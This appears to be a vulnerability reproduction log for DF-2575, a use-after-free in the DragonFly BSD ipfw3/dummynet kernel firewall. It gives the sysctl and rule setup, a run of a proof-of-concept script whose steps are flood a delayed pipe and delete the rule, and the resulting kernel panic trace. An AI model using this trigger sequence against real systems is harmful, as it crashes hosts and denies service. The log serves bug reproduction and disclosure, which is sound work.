=== DF-2575 BASELINE (unpatched #0 kernel) reproduction ===
Modules: ipfw3 + ipfw3_basic + dummynet3 loaded with net.filters_default_to_accept=1
debug.use_weird_array=1 (INVARIANTS slab poisoning on kfree)
net.inet.ip.fw3.one_pass=0 (REQUIRED: makes re-injected packets deref args.rule)
Rule 100: pipe 1 icmp from 127.0.0.1 to 127.0.0.1
Pipe 1: 500Kbit/s 3000ms delay (packets sit in queue holding dn_priv = rule ptr)

$ sh /root/poc/DF-2575/poc.sh 100 3000 500

=== DF-2575 trigger: rule=100 delay=3000ms flood=500 ===
pipe config rc=0
net.inet.ip.fw3.one_pass: 1 -> 0
add rc=0
00100  0   0 pipe 1 icmp from 127.0.0.1 to 127.0.0.1
65535 12 864 allow
=== starting ICMP flood into pipe 1 ===
=== pipe state before rule delete ===
00001: 500.000 Kbit/s 3000 ms  100 sl. 1 queues (1 buckets) droptail
BKT Prot ___Source IP/port____ ____Dest. IP/port____ Tot_pkt/bytes Pkt/Byte Drp
  0 icmp       127.0.0.1/25859       127.0.0.1/25859   51     5508  0    0   0
=== DELETING rule 100 while packets are queued (kfree -> dangling dn_priv) ===
delete rc=0
=== waiting for dummynet re-injection (delay=3000ms) -> UAF ===
(sleeping 8s for pipe delay expiry + re-injection)
[SSH DIES — guest panicked]

=== Serial console (dfbsd-qemu/boot.log) ===
+++ ipfw: ouch!, skip past end of rules, denying packet   <-- silent UAF: freed rule
+++ ipfw: ouch!, skip past end of rules, denying packet       memory read as valid rule
+++ ipfw: ouch!, skip past end of rules, denying packet       chain (stale data)
[... many "ouch" lines ...]

Fatal trap 9: general protection fault while in kernel mode
cpuid = 0; lapic id = 0
instruction pointer     = 0x8:0xffffffff82600100
stack pointer           = 0x10:0xfffff8008d1f88b0
frame pointer           = 0x10:0xfffff8008d1f8910
code segment            = base 0x0, limit 0xfffff, type 0x1b
                        = DPL 0, pres 1, long 1, def32 0, gran 1
processor eflags        = interrupt enabled, resume, IOPL = 0
current process         = Idle
current thread          = pri 12
kernel: type 9 trap, code=0

CPU0 stopping CPUs: 0x0000003e
 stopped
Stopped at      ip_fw3_chk+0x100:       movzbl  0x16(%rax),%ecx
db>

RESULT: PANIC — Fatal trap 9 (general protection fault) in ip_fw3_chk+0x100
The movzbl 0x16(%rax),%ecx instruction dereferences the freed+poisoned rule
pointer (rax = 0xdeadc0de...) at offset 0x16 (rulenum field) — definitive UAF.